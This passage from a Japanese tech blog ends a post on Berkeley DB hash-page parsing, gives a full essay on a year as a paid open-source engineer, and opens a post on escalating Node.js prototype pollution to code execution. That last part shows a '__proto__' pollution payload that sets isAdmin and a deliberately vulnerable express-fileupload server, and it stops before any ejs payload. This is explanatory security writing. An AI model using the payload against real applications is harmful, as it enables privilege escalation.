        1. このIndexは現在のPage内のオフセットになっているため、そのオフセット分ずらしてHash Pageを読み込む
        2. 先頭1バイトがHash PageのTypeとなっているためその値を見て処理を変える
        3. H_KEYDATAであれば実際の値がそのHash Pageに入っているので、lengthを取得してその後ろのデータを読み込む
        4. H_OFFPAGEであればさらに別のPageに実際の値が入っているため、5バイト目から4バイト読み込みPage番号(pgno)を取得する
        5. Hash Off Pageの処理
          1. pgno * PageSizeの位置にあるHash Pageを読み込み、TypeがP_OVERFLOWであることを確認する
          2. 先程同様に先頭の26バイトがHeaderなので読み込みNextPageNoの値を確認する
          3. NextPageNoPGNO_INVALIDならそのPageが最後なのでHeaderの後ろからFreeAreaOffset分読み込み値とする
          4. NextPageNoに値入っている場合は後ろにPageが続くため、Headerの後ろからPageの最後まで読み込みNextPageNoの指すPageも同様に読み込み値を結合する
          5. NextPageNoが空でない限り繰り返す
  4. ここまででページを1つ処理出来たので次のページに移動して繰り返す

書いてみましたが自分で改めて読むと文字だけだとさっぱり意味わからないですね。上の図を見ながらだと分かるかと思います。

まとめ

伝えたかったのは背景に書いた良い話であとの内部実装は蛇足です。

とはいえ他の小さいDBも似たような実装になっていることが多いので、雰囲気だけでも知っておくと今後何かのDBのソースコード解析をする際に役立つかもしれません。また、Berkeley DBを他の言語に移植したい人も役立ててください。

OSSエンジニアを1年やってみた所感

最近脆弱性の話とか本業と一切関係ないことを書いていたので、今回は本業に関する話です。

2019/08/01にOpen Source Engineerという肩書になってから既に1年が経過しました。そういうポジションの人はまだ日本では少ないんじゃないのかなと思ったので何か参考になればと所感を書いておきます。ちなみに最初の頃Open Source Software Engineerが正しいんじゃないのかな、とか気になってたのですがみんな細かいこたぁ良いんだよっていうスタイルなので自分も細かいことをうだうだ言うのはやめました。

単に今の所属企業でたった1年やってみた上での感想なので、全然一般的な話ではありません。ベンチャーならではの話も多いので大企業ではまた異なると思います。それでもOSS開発を業務として行うことに興味がある人がいれば読んでもらえればと何かしらはプラスになると信じて書いてます。せっかく色々と学びを得たことだし、とちょくちょくメモしてたやつを全部1つの記事に書いてたら例によって長くなったので、OSSに興味ない人はそっと閉じて下さい。

以下でも書いてますが本当に個人の感想なので必ずしも共感されると思ってはいません。そういう気持ちの人もいるんだなという参考程度に考えていただきたいです。

その前に少し前提を書いておきます。

前提

OSSって何?とかはググれば出るので説明しません。また、OSSへの貢献はハードル低いのでやってみましょうとかも本記事の対象じゃないです。単純にOSS開発を生業にすることの所感を書いています。

そもそも何でお前はそんな仕事してるんだっていうのは過去に書いてあります。

knqyf263.hatenablog.com

あと自分は既に社会人を5年ほど経験していますが、インフラやセキュリティを主な仕事としていたためプログラムを毎日書くような開発者として働き始めたのは今の会社に来てからです。そのため、普段からプロダクト開発をしている人からすると「それはOpen Source Engineerに限った話じゃない」とかもあると思いますが、こいつ経験がないから知らないんだなと思ってもらえれば幸いです。

逆に言うとそれぐらいプロダクト開発に疎い人間でも何とかやれているので、ある程度コードが書ければ務まるポジションなんじゃないかなとも思っています。

所感

ということで感じていることを適当に羅列します。

楽しい

まずはこれにつきます。OSSということで基本的には直接ユーザに使われるものではなく、技術者に使われることがメインです。そのため、ソフトウェアエンジニアに使われるものを作るのが好きな人にとっては最高に楽しいと思います。自分の場合は学生時代にエンドユーザ向けのサービスにいくつか携わらせてもらった結果、一般の人達に使われるものを作ることに楽しみを見出せない人間であることを知りました。そのためネットワークやセキュリティなど裏方というか直接エンドユーザの目の触れない部分に楽しみを見出して生きてきたのですが、OSSもサービスを裏方で支える重要な要素の一つであることに気付きました。

そこでOSS開発を趣味で始めたのですが、自分の作ったソフトウェアが世界中の人から感謝されたり、所属組織も異なる開発者達と共に開発するというのが何にも代えがたい経験であると感じました。国境も会社も越えて一緒に何か一つのことを目指すような活動を自分は他に知りません。

これは仕事としてOSSに携わったとしても変わりません。毎日楽しくて仕方ないという感じです。ただエンドユーザに何かサービスを提供して生活を変えたい...!!という思いが強い人も多いと感じているので、万人にとって楽しいかというとそんなことはないかと思います。ですがOSS活動を休日に趣味でやるぐらい楽しめる人にとっては天職だと思います。

そもそもOpen Source Engineerというポジションの募集がほとんどないという現状がありますが、 GitHub Sponsors によってOSS活動でお金を貰えるようになってきていますし、BoostIOの横溝さんのようにOSSで生きていくエンジニアを増やそうと意欲的に活動していらっしゃる方もいるので少しずつこういったポジションも増えていくのではないかと期待しています。

codezine.jp

やりがいがある

そもそも上の楽しさも一部やりがいから来ています。自分が趣味で作り始めたOSSは現時点では知名度があるとはまだお世辞にも言えないのですが、企業でメンテナンスを続けさせてもらえることになり機能を色々追加していった結果、誰もが知っている大企業や政府のプロジェクトで採用されていたりします(公には言えないやつですが)。そしてMicrosoftが自分の作ったOSSを使ったGitHub Actionを公開したり、イギリス政府のブログAWSブログ に載ったりもしています。このように色々な国の色々な企業から認知されていると思うと何かしらの脳内物質が出ます。ブログ読みながら白飯2杯ぐらいいけます。つまりおかず代が浮くので節約にもなります。

他にも有名なOSSの内部で使われたり有名な製品内部で使われたりというのも本当に嬉しいです。

www.infoq.com

GrafanaなどのOSSのCIでも使われていますし、先日のKubeCon Europe 2020でも色んな発表で名前を出してもらっていました。

毎日仕事を頑張るだけでどんどん認知され広く利用されていくのはやりがい以外の何物でもないかなと思っています。巨大OSSにコントリビュートしてメンテナーとして頑張るというのももちろん最高に楽しいと思いますし、自分のように個人で始めたOSSを育てていくのも楽しいです。自分も元々は既存のOSSに貢献して満足していたのですが、やはり元々作った人の存在感というのは大きいですし(Linuxだとリーナスだったり)大きいOSSだとあまり個人云々という感じでもないなと思い、段々個人で何か開発したい気持ちが強くなりました。

その結果自分で作ってみて今に至るのですが、上のInfoQの記事のように個人名で載りますし利用事例が公開された際の喜びは一入かなと思います。もちろん0→1が得意な人、1→10が得意な人、10→100が得意な人、またはそれぞれのフェーズが好きな人、がいるので必ずしも個人で作るのが良いとは全く思いません。多くの人で協調して大きな物(LinuxだったりKubernetesだったり)を作るのも当然楽しいです。

いずれにせよそういった活動を楽しめる人にとっては仕事というよりは趣味といった感覚で毎日を過ごせるので本当に幸せになれると思います。自分も仕事という意識はあまりないですし、運を使い果たしてそろそろ死ぬのかもな...と思ってます。

作ったOSSが広く使われると嬉しいという話をしましたが、一方で恐らく一生ソフトウェアエンジニア以外にその貢献が知られることはありません。IT業界以外の友人にLinuxの開発者を聞いても間違いなく知らないと思いますし、何ならLinuxの存在も知らない可能性が高いです。

自分としてはそういったIT業界以外の人は誰も知らないけど誰もが使うようなものの内部で動いているソフトウェアの開発者といった肩書の方がかっこいいと思うのですが、中にはそれの何が楽しいの?と感じる人もいると思います。そういう人には本当にオススメしないです。Open Source EngineerというポジションからFacebookザッカーバーグになることはないです。起業して何かサービスを作るほうが良いです。

実績になる

OSSに携わっている人が優秀かというと必ずしもそんなことはないと思っていますが、少なくともOSSとして自分のコードが公開されているため実績として分かりやすいというのは利点かと思います。例えば就職/転職活動の時に職務履歴書を頑張って書かなくても自分のGitHubアカウントを渡すだけで終了したりします。つまりOSS活動が名刺代わりになるので多くを語らずに済むようになります。

実際今の会社に入る際も一切履歴書を書いていません。自分の採用を決めたCTOは自分が何歳で、どこの大学を出ていて、どういう企業で働いてきて、どういう仕事をやってきたのか、ということを全く聞きませんでした。「あのOSS作ったんだろ?それ以外は別に知らなくて良い」という感じでした。純日本企業育ちの自分としては年齢すら聞かないというのはなかなか痺れました。逆に自分としてはもっと過去の実績を色々伝えたいと思って寂しくなったぐらいでしたが、こっちではいわゆるジョブ型雇用が一般的なのでそのポジションで必要とされるスキル以外については知る必要がないのかと思います。ジョブ型雇用のように仕事に見合った人材を登用するのとは反対に日本のメンバーシップ型雇用では人を見て仕事を振るため、その人の経歴などが重要になります。教育という観点ではメンバーシップ型も悪くないと思いますが、既に何か得意分野・または興味のある分野を持つ技術者にとってはジョブ型の方が幸せになりそうです。

www.businessinsider.jp

ただ採用する側としては有名なOSSのコントリビューターだから、といった理由のみで採用するのは危険だと思います。せっかくコードや発言が公開されてるので具体的な活動まで踏み込んで確認することをおすすめします。実際にどの機能を開発したのか、とかレビュー時の他の開発者とのやり取りとか、はOSS活動から読み取れると思いますし、プログラム書くのは得意でもプロダクト開発には向いてないケースとかもあるのでやはりその人の考え方などは面接等で確認したほうが良いと思います。

実績になるのは事実ですが、それだけで判断するのは怖いかなという感じです。自分の極端な例を出しておいてなんですが。

得意な形でアウトプットできる

上で書いた実績の話と似てるのですが、OSS開発をすることでそれがそのままアウトプットになります。ソフトウェアエンジニアにとってアウトプットは重要というのはよく話題になることですが、登壇やブログ・本の執筆などが挙げられることが多いように感じます。もちろんそういった登壇やコミュニティ活動というのは重要なのですが、自分のようにそういう活動が得意ではない人もいます。

嫌いなわけではないので声かけていただいたら喜んで発表等するのですが、自ら進んで志願するほどではないという感じです。ナッツとか誰かから貰ったら美味しく食べますが自分で買うほどではないです(?)。

不得意なことを頑張って改善するよりは得意を伸ばしたほうが良いのではないかと考えているため、OSS開発が得意な人はそちらでアウトプットすれば十分だと思っています。もちろん何が得意かは人次第なので登壇が得意な人は登壇を続ければ良いし、ブログ書くのが得意ならそこで頑張れば良いです。自分が言いたいのは他の人が登壇しているから自分も登壇してアウトプットしなきゃ、と焦る必要はなくて得意な方法でアウトプットすれば良いということです。

OSSはその手段の一つとして使えるので、他の方法によるアウトプットが苦手な方にもおすすめです。

勉強になる

様々な人からIssueやPRを受け取ることになるわけですが、そこから学ぶことはとても多いです。こういうフォーマットに対応するとこういうサービスで使えるよ、とかこのライブラリなら解決できるよ、この機能はこうすれば実装できるよ、といったことまで幅広く教えてもらうチャンスがあります。自分の開発しているOSSの周辺情報は何もしなくてもかなり集まってくるので捗ります。

PRでこういう書き方出来るぞと教わるケースもありますし、自分がレビューで指摘した箇所に関してもPR送ってきた人のほうが理解が深くて自分が間違いを正されることも普通にあります。最初はメンテナーなのに恥ずかしいなとか思ってたんですが、最近はもう勉強になるなぁと思って素直に教わるようになりました。関係ないですが自分にとって凄いと感じる人は部下からでも積極的に学ぼうとする人です。変なプライドは捨てて学べる機会があればどんどん学ぶ人が最終的に強そうです。

深く特定領域を学べる

一つのプロダクトを開発し続けると相当細かい知識を得ることになります。もうこれ世界で自分が一番詳しいだろう、みたいな感覚になります。そうするとその領域を専門分野と呼べるようになるので、自分が何者か自分で説明しやすくなります。

過去の自分は片っ端から色々と手を出して触っていたので、幅広く出来る方だなと不遜にも自分で思っていたのですが「結局自分は何者なんだ?」という思いがずっとありました。あれもこれもそこそこ出来る、でも何も出来ない。という虚無感がありモヤモヤとした日々を過ごしていました。今ではこれが出来ます、と胸を張って言えるようになったので精神的にかなり落ち着いています。

コンピュータサイエンスは幅広いので少し離れただけで門外漢になることはよくあると思いますが、自分の詳しい分野があると物怖じせずにやっていけるなと思います。もし漠然と凄い人々との差を感じているようであれば、個人的なおすすめは色々と手を出すより先に自分の専門を作ることです。

T型人材が良いと言われたりもしますが、TになるためにはーかIをどちらか先に伸ばす必要があります。ー型といっても無限に横に広いので、何かを学んでもまた違う分野のスペシャリストを見かけて焦りを感じる羽目になります。それであればIをしっかり掘り下げてから横に広げる方が精神的には良いと考えています。ただ上で書いたようにメンバーシップ型雇用の場合はー型の方が有利だと思うので必ずしもどちらが良いとは言い切れません。あくまで精神的には専門を先にやる方がおすすめという話です。

www.kaonavi.jp

得た知見を公の場で共有しにくい

上で書いたように特定の領域における細かい知識を多く得ることになるのですが、これらの知見を勉強会等で共有するのは非常に難しいです。プロダクト開発であれば他社でも困っていたりするので自社で困ったことを共有するのは大いに意義があることなのですが、OSS開発で得た細かい部分の知見というのは似たOSSの開発者じゃないと活かせません。

もちろん良いテストコードの書き方とか拡張しやすいアーキテクチャとかフィードバックできる部分もあるのですが、やはりその領域に関する知識は披露する場があまりありません。例えば自分は昨年OSS開発する際にrpmソースコードを読んでデバッグしてrpmdbのバイナリフォーマットを解析したりしたのですが、そんな話多分誰も聞きたくないので自分の脳内に留まっています。もちろんそういう細かい知識を求めている人も世の中には0ではありませんし、何より自分で忘れてしまうので可能であればそういう知識もどこかに書き留めておくほうが良いです。

ただ多くの人に求められているわけではないのでモチベーションにも影響しますし、やはり多くの人にとって有用な知識を共有できるか、という観点でいうと難しく感じます。それよりはAWSの新サービス試してみた、とかCNCFの新しいOSS使ってみた、とかの方がウケは良いと思います。

でもそれが専門分野ということだと思うのであまり気にしてませんし、むしろ上に書いた理由から心地よいとも思っています。ただ今の会社に入って同じことをやっているチームがあり、自分の知見を披露できる場があったのでここぞとばかりに早口で喋り倒しました。というのは嘘で実際には英語でそんなに早く話せないので脳内で話すスピードと英語のスピード差が大きすぎてストレスを溜めました。

いずれにせよ、一人で黙々とやっていた時に比べると議論できる相手がいるというのは嬉しいものです。勉強会とかで話すのもそういう効果があると思いますが、OSSの種類によってはそれは難しい可能性があるということは知っておくと良さそうです。

広く触れない(可能性がある)

例えば一つプロダクト開発しようとするとインフラからアプリケーション、セキュリティまで求められる要素は幅広いです。大企業であれば細かくチームが分かれていることもあるとは思いますが、例えばインフラチーム内だけでもコンテナオーケストレーションだったりストレージだったりサービスメッシュだったりと多岐にわたります。

一方で一つのOSSに集中すると、上で述べたように特定領域を深く掘り下げる必要があります。そうすると幅広く色んな技術を試すといったことは難しくなります。SNSやブログを見ていると色んな人が色んなことをやっていて、それを見て焦ることもあるかもしれません。

過去の自分も自分が知らないことを他人がやっているのを見て焦りを感じていました。そのため少しでも知らないことを減らさなければ...と色々と手を出していました。しかし自分の強みを得たことによってそういった不安はなくなりました。もちろん好奇心をなくしたわけではないので面白そうなことは試していますが、無意味な焦燥感によって全部やろうとしてしまって何の専門領域も持てず器用貧乏になってしまうということはなくなりました。

そのため"広く触れない"、と書きましたがそれがマイナス点だとは思っていません。むしろ他人の活動に惑わされずに自分のするべきことに集中できるので良い点だと思っています。念のため書いておきますが、それを言い訳に新しいことを学ぶ必要がないという意味ではないです。この業界は変化が早いので今の状態が快適だからと他領域の勉強を完全に怠ればすぐに置いていかれると思っています。不必要な焦りや不安がなくなるという点で良いことだと考えています。

発表された新しいツールや技術を次々と試してまとめたり発表するのももちろん楽しいですが、自分で一本軸を持って集中して掘り下げていくのも楽しいです。

なぜ会社としてOSSをやるのか?ということを真剣に考えられる

弊社はまだベンチャーにも関わらず(といっても260名ぐらいはいる)OSSをメインで行うチームがありまして、6名も人員を割いています。さらに兵役中のメンバーも入れると8名ほどいます。GAFAMなどの巨大企業と違い、まだ売上を増やしていかなければならない会社状況でOSSチームが存在しているのは結構珍しいのではないかなと思っています。

大企業であれば社内で必要なものをせっかく作ったからOSSで公開しよう、といった動機も結構あるのではないかと想像しています。そしてコミュニティの協力を得られれば自社の開発リソースも減らせて良い、という感じかなと思っています。

一方で弊社はもっと直接ビジネスに繋げる必要があります。そのためなぜOSSを会社として注力するのか?というミーティングが定期的に開かれます。HashiCorpやElasticの事例を見ながら色々意見を出し合ったりします。かなりたくさんあるのですが、面白いと思った考えをいくつか共有しておきます。

市場の熟成

例えば弊社ではクラウドネイティブのセキュリティ製品を提供しています。そのため、クラウドネイティブの市場に成長して貰う必要があります。さらにDevSecOpsのように開発や運用にセキュリティを統合しようという考えも推進しているのですが、残念なことに世の中的にはまだそこまで広まっていません。もちろん感度の高い一部の方にとっては当たり前になっていますが、それ以外の人にとっては全く馴染みがなかったりします。知らない概念のものを導入しましょう、といった営業をかけたところで勝ち取るのはとても難しいです。そのため、まず人々にDevSecOpsという考え方に慣れてもらう必要があります。

そこで、OSSとしてそれらの概念を体験できるものを提供することで多くの人に慣れてもらいます。OSSであれば無料なので導入のハードルはそこまで高くありません。一部にはサポートのないOSSなんざ使わんという企業もありますが、全体で見れば有料製品の導入に比べたら確実に多くの人に使ってもらうことが出来ます。

そうして市場の熟成を促し、その上でOSSの不足部分を製品によって補ってもらうという進め方が可能です。自分だったらどうやって自社製品の売上に繋げるかという目先のことばかり考えてしまって、そういった大きい視点は持てません。このやり方が正解かどうかはまだ分かりませんが、少なくとも自分にとっては非常に興味深かったです。

有料化のしやすさ

OSSを主軸にビジネスしている企業はいくつかのタイプに分かれます。OSSの保守契約でお金を貰うパターン、自社ホスティングなら無料だがSaaSは有料というパターン、OSSの不足機能が有料版では使えるというパターン、などなど。いずれにせよ既にOSSを使ってくれている企業であれば、完全なる0から導入に繋げる場合と比べて有料化は容易になります。全く聞いたことのない企業が営業に来るよりも、既に使っているOSSの開発元であれば信頼度も異なります。

一方でOSS版で十分だから有料化は要らない、となる恐れもあります。そのため、OSSによって失う顧客と得る顧客の率を考慮して戦略を展開する必要があります。そのへんは詳細省きますが、色々議論していて面白いです。

品質の向上

これは実際にElasticの方に伺ったことなのですが、元々有料プラグインのX-Packはクローズドソースだったものの、現在ではソースコードが公開されています。

elasticsearch/x-pack at master · elastic/elasticsearch · GitHub

クローズドで開発していたときはどんどんソースコードがスパゲッティになっていってしまったが、公開してからは品質が保たれるようになったとのことです。やはり第三者に見られる、ということで雑なコードは入れられないという意識が働くのかなと思っています。

ちなみに公開しちゃったら有料化出来ないじゃんと思うところですが、特定のディレクトリだけ異なるライセンスで提供されています。Elasticsearch全体はApache Licenseでx-pack以下だけElastic Licenseになっています。こうすることで、ソースコードを公開しながらもOSSとしては利用できないようにしています。なのでX-Packの例は厳密にはOSSではなくソースコードを公開することによる利点の話になります。

ここら辺のライセンス戦略というのも各社の色が出ていて面白いです。

カンファレンスでの発表

当たり前のことですがOSS系のカンファレンスであれば発表内で製品の宣伝をすることは出来ません。つまりLinux Foundation系のOpen Source SummitとかKubeConでの発表ができなくなります。しかし自社でOSSを持っていれば遠慮なく発表しに行くことが出来ます。ユーザ企業であれば自社事例などの道が残されていますが、セキュリティベンダーとなるとそれも少し難しいです。そのため、OSSによって発表ができるというのは会社の知名度を上げる上で有用です。

実際、うちのチームのマネージャーは年間で信じられない回数の発表をこなしています。その結果ベンチャーにも関わらずクラウドネイティブ界隈で弊社の名前を知っている人はとても多く感じます。それら発表の中にはKubeConのKeynoteとかも入っていて化け物説あるので単に発表する場合とは少し事情が異なるかもしれません。

ファンを作る

これはうちのマネージャーが明確に目標に掲げていることなのですが、OSSを通じて自社のファンを作るということを目指しています。OSSを好きなソフトウェアエンジニアというのは多いです。さらに単に好きなだけではなくて勉強会などで発表してくれたりもします。「あれ使ってみた?良かったからおすすめ」という会話がエンジニア間ではよくなされます。そうして口コミで広がってくれれば、自分達で宣伝しなくても多くの人に知ってもらえます。

さらに良いツールを提供している開発元というのは開発者に愛されます。自分も使っているツールなどは開発元を見に行って、「こういう会社が作ってるのか。良い会社なんだろうな。」と思ったりしています。そういった状況になってからであれば、「おたくのツール使ってますよ!」となってスムーズに話が進みます。

会社の売上に貢献できる方が精神的に楽

これは人によると思うのですが、完全に会社の売上には関わらないというよりは多少でも貢献できる方が精神的に楽です。もちろん会社としてやっている以上、会社にとって完全に無駄ということはないと思いますし自動化による工数削減とかマシンリソース削減によるコスト削減とか何かしらに繋がっているとは思います。しかし自分にとってはそれでも申し訳ない気持ちが残りました。実際に過去に所属していた企業で業務でOSSへコントリビュートしても良いよ、と言っていただいたものの全然企業にとってプラスに感じられなくて申し訳なさでいっぱいになったことがあります。業務時間の10%とかならもちろん問題ないですが、もっと真面目に貢献したいと思い始めると50%とかもっと時間を使いたくなります。そうなった時に自分の中で(あと会社との間で)折り合いをつけられるか、は重要だなと感じました。

これは恐らく人によるので、全然気にならない人もいるはずです。自分は給料貰っている以上は何かしら貢献したいという正義マンな部分があったので、もう少し直接的に貢献したいと思っていました。しかしだからと言ってつまらない仕事をしてまで会社に尽くしたいというほどの自己犠牲マンでもなかったので、完全にわがままマンです。

もしそのような考えの人が自分以外にいたら、単に毎日OSS開発すれば良くてサイコーとならないことは注意して欲しいです。今は自分はOSS開発して好きなことやりながら、それをSaaSとして提供してくれる別のチームがあってビジネスに繋げてくれます。このバランスは正直言って精神衛生上最高なので、OSS開発して会社に何のメリットがあるの?というのは事前に良く相談したほうが良いです。単に好きなことだけやっていると苦しくなる時が来る可能性があります。

そういう点で考えると巨大OSSの1メンテナーというのは会社への貢献度合いをどう評価するか難しいかもしれないと感じました。もちろんLinuxディストリビューションを売っているのでLinuxのメンテナーをたくさん抱えています、というのは至極当然な方針だなと感じますが、単に会社でLinuxを使っているので1人メンテナーを雇いますとはならなさそうです。メンテナーがいることで必要になった機能やバグを直してもらいやすいとかはあると思いますが、それもどの程度発生するのか次第で年に1度程度ならそれ以外の期間は何をするのか?というのが問題になりますし、そもそも多くメンテナーがいるOSSだと一存で決められるわけでもないので会社で一人メンテナーを抱えていてもどの程度影響を及ぼせるか、というのが問題になってきます。

その点、自社開発のOSSやそのOSSを製品化しているケースなどはメンテナーの存在がより重要性を増すので良さそうだなと思います。自分は今まさにそのケースなので思う存分集中できています。ある程度大きくなるとベンダーニュートラルじゃないと嫌だという方向性になってくるので難しいのですが、それは今回は置いておきます。

ということで仮に会社としてOKを出したとしても開発者側がいたたまれなくなるということもあり得るので、やはり会社側と自分側の双方において最初にきちんと合意しておくのが良さそうです。

ユーザからのフィードバックが助かる

やはりOSSの良いところですが、ユーザが使ってくれてバグを見つけて報告してくれます。中にはPRを送ってくれて直してくれる人もいます。現在弊社では有償版とOSSで中身が異なっているのですが(OSSは買収されてあとでファミリーに加わったため)、OSSで報告されたバグが有償版にも存在するということは多くあります。そういう場合はOSSがコミュニティと協力してバグを直し、それらを有償版にフィードバックするということが行われます。製品開発をしていると分かると思いますがQAのコストというのは大きいため、自発的に協力しようとしてくれるOSSコミュニティには本当に救われています。

さらにはバグだけでなく機能追加や新しい脆弱性データソースなども共有してくれます。CircleCIはJUnit XMLに対応してるからJUnit XMLの形式で出力できると便利だ、とかあの機能が非推奨になったらしい、という情報も入ってきます。このライブラリ使えばバイナリからこういう情報が取れる、とかこのデータソース使えばあの脆弱性も検知できそうだ、とか教えてもらったことは数え切れません。本来であれば自分で収集しなければ得られない情報ですが、OSSを公開しているだけで次々と情報が入ってくるのは大きな価値だと思います。これらはもちろん有償版にもフィードバックされます。

メンテナンスコストが高くなる

利用者が増えてくると要望が増えてきます。その機能いる?!みたいなのも多く見受けられます。そういう時に趣味であれば「不要だと思うのでクローズします」といったことが可能です。もちろんせっかくIssue/PR上げてくれた人をぞんざいに扱うのはよくありませんが、無料でメンテナンスしていて義務があるわけではないので無理に対応する必要はありません。

しかし企業として提供しているOSSとなればそうもいきません。上に書いたようにOSSを提供する目的としてファンを作るというのを掲げている以上、ある程度細やかな対応が求められます(量が多すぎて捌ききれない問題はまた別に存在してます)。そうするとカスタマーサポートをしている気分になってきてこれ自分の仕事なのかな...となります。幸いなことにまだクレーマーのような人はいませんが、ドキュメントにちゃんと書いてるのに...といったことを質問してくる人は多いです。

他にもニッチな機能なので追加したくないけど穏便に済ませたいので慎重に議論を進める必要があったりすることもあります。これは結構精神を削ります。

微妙なラインだけど幸せになる人もいるだろうしせっかくPR送ってきてくれたから追加するか、と一旦マージするとその後のメンテナンスコストは自分たちに降ってきます。その一回で終わらずにずっとそのコストは増えたままなので、本来であれば拒否するべきです。しかし人間の心情的にそこまで機械的に弾くのは難しいですし、自分の心との戦いになる部分があります。もちろんニーズの有無などから判断するべきなのですがOSSの場合は勝手に利用状況を取得するわけにもいかず、どの機能が使われているのかなどを把握するのが難しいです。

方針を決められなくなる

元々自分が作っていたOSSの場合の話になるのですが、初期は当然全て自分の判断で開発できます。しかし会社に譲渡してからは会社の方針に従う必要があります。これがなかなか大変です。

例えば自分の場合はとにかくツールを小さく作ろうと最初にポリシーを定めてから開発を始めました。そのため、余分な機能や情報は足したい衝動と戦いながらも泣く泣く落としてきました。大きくなればなるほどメンテナンスも大変になるし利用者にとっても学習コストが高くなります。何でも出来る万能ツールより小回りの利く小さいツールのほうが将来を考えると良いだろう、と決めてやってきたのですが会社としては何でも出来るツールにしたいということで何度も議論したのですが結局自分が折れることになりました。

元々はCIで使えるようにコンテナイメージの脆弱性スキャンをする軽量なツールを作っていたのですが、今ではサーバ機能だったりファイルシステムやDockerfile内からスキャンする機能も追加されています。自分の掲げた理想からはどんどん離れていって「くぅ〜」となりましたが、一方でそれらを必要としているユーザもいるので一概に悪とも言えず難しいところです。

また、セキュリティツールにとってfalse positiveがないことが最も重要であるというのが自分のポリシーです。大量に検知すればfalse negativeを減らせますが、大量にアラートを出すセキュリティ製品はやがて誰も見なくなります。もちろんそれが正しいアラートならまだ良いですが、嘘ばかりとなれば嫌気が差します。オオカミ少年と同じです。

そのため、自分はツールを作る上で過検知しそうな機能は極力入れないようにしました。仕組み上、全ての脆弱性を検知するのは難しくどうしても検知できない部分があります。しかしそれを検知しようとすると今度は過検知の可能性が高くなります。そういう部分は許容するというのをポリシーとしてやってきました。

ですが会社としては仮に過検知したとしてもやりたいという方針です。こちらも話し合いましたが追加する方向性になっています。

ただし会社としても意見を押し付けているわけではありません。過検知してもいいから検知数を増やして欲しいという声が顧客から多いのを見て判断しています。そのため会社の考えもわかりますし会社の方針はおかしい!やりたくないことをやらされている!とか言いたいわけではなくて、単に自分一人で何でも決められた頃とは変わってしまうという話です。会社としてもより良くしようと考えて意見を出しているので自分にはない視点からのアイディアも多く得られますし、それ自体は良いことだと思っています。

そして会社はオリジナルの開発者である自分の意見を尊重してくれます。自分がヤダヤダと子供並みにゴネると受け入れてくれます。なのであくまでフラットに議論した上で今回は会社の方針に従います、といった決定がなされているだけなので何か問題があるわけではありません。

宣伝は必要

上で発表等しなくてもアウトプットできるので良いということを書いたのですが、せっかく良いものを作っても誰にも知られなければ意味がないのである程度の宣伝は必要になってきます。そうなるとやはりブログ書いたり登壇したりということになるので結局逃れられない...となるわけですが、プロダクトありきで発表するのはかなり楽だなと感じています。そのプロダクトについて自分が世界一詳しいので間違ったこと言ってないかなと不安になることもないですし、周りが凄い発表だらけでも「でも自分は良いものを作ったから大丈夫」と心を強く保てます。

自分はこの宣伝がとても苦手で、物怖じせず売り込んでいける人を見ていつも凄いなと思っています。今は仕事だしなとある程度割り切ってやっているので多少楽ですが、そういう作業が発生する可能性は頭の片隅に置いておく必要があります。そしてOSSの特性上、恐らく英語でのブログや海外での発表が求められたりします。自分はゴネたけど無理だったのでこの1年でCNCF webinarやKubeConなど3,4回は発表しました。プロポーザル出す時の知見も以下に書いてあるので興味があれば読んでみて下さい。

knqyf263.hatenablog.com

大変ではありますが自分の中で良いものが開発出来たと思えればそこまで苦じゃなくなりますし、せっかくなら楽しめるようになっていければいいなと思っています。

まとめ

後半大変な点も少し挙げてみましたが、全体で見れば本当に微々たる話です。多少しんどいところもあるということを知ってもらいたくて書いたものの、実際には楽しさが全てを凌駕します。毎日こんなにストレスゼロで労働して良いのだろうか?いやそもそもこれは労働なのか?というのが最近の所感です。

ということで興味ある人は一度やってみると良いと思います。現時点ではそういうポジションがあまりないかもしれませんが海外では多く見かけますし、日本でも将来増えると期待しているのでその時に備えて自分で趣味のOSS開発を続けてみるとか、出来ることから始めておくと良いかもしれません。

Node.jsでプロトタイプ汚染後に任意コード実行まで繋げた事例

概要

前回Node.jsのプロトタイプ汚染を起こすためのバイパス方法について記事にしました。

knqyf263.hatenablog.com

プロトタイプ汚染後に何が出来るのか、ということについては基本的にアプリケーション依存なのであまり話題になることは少ないです。

自分の知る限り一番多いのは

if(user.isAdmin) {
  // do something
}

といったような重要なプロパティを書き換えることで権限昇格する例です。ただし、自分の理解では isAdmin が初期化されていないことが前提条件として必要です。

const obj1 = {};
const obj2 = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge(obj1, obj2)

var a = {}
a.isAdmin // true

var b = {isAdmin: false}
b.isAdmin // false

つまり、プロトタイプ汚染が起きていたとしても上記のようにisAdminがそのオブジェクト自体に定義されていればプロトタイプチェーンで __proto__isAdmin を見に行く必要がないため b.isAdmin はfalseになります。そのため、プロトタイプ汚染が起きると即座に任意のプロパティが書き換えられて危険ということはなくて、未初期化なプロパティが攻撃対象となると思います。そのため、実装によっては影響をあまり受けないケースというのも多いのではないかと考えています。

そんな中で、OSSに対してプロトタイプ汚染を用いて攻撃を成功した例をブログで見かけたので事例をいくつかまとめました。ブログを読んで感想を述べるだけのゆるふわな記事です。

事例を駆け足でまとめたので、改めて読むとちょっと分かりにくいところもありそうです。ちゃんと細部を理解したい方は各ブログを読むことをおすすめします。

詳細

プロトタイプ汚染後の攻撃に関する前提

考えてみると当たり前の話なんですが、少し面白いのはプロトタイプ汚染を引き起こす口とそれが実際に発火する場所は全く異なって良いということです。 Object.prototype を汚染するとあらゆるオブジェクトに影響が出るため、とあるOSSでプロトタイプ汚染を引き起こしてその後はアプリケーション固有の実装で発火(上記のisAdminのような例)、とか、あるOSSで汚染したあとに全く別のOSSの実装箇所で発火(このあと説明します)、ということも可能なわけです。

実際に発火する別のOSS自体は全く脆弱ではなくても攻撃に利用されてしまいます。やはりグローバルの汚染というのはなかなかに強烈だなと感じています。

ejsの例

以下のブログ内で紹介されていた方法になります。

blog.p6.is

前回の記事で紹介した express-fileupload のプロトタイプ汚染を利用してテンプレートエンジンである ejs にて任意コード実行をさせる方法です。つまり、上述した通りejs自体には何の脆弱性もありません。

この攻撃方法は中国のCTFで出題されていたようです。

github.com

まず最初にこの攻撃を再現するためのサンプルコードを上のブログから引用します。

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.get('/', (req, res) => {
    console.log(Object.prototype.polluted);
    res.render('index.ejs');
});

app.listen(7777);

本題からずれるのですが、 app.set(‘view engine’, ‘ejs’) とかは不要なんでしょうか。ドキュメントやブログ等を参照すると全てで設定していたのに、手元で試したら設定せずともejsのコードが呼ばれていました。

github.com

拡張子がejsだから自動でejsを使ってくれる機能があるのかなと思いましたが、今回のテーマはそこじゃないので一旦忘れます。

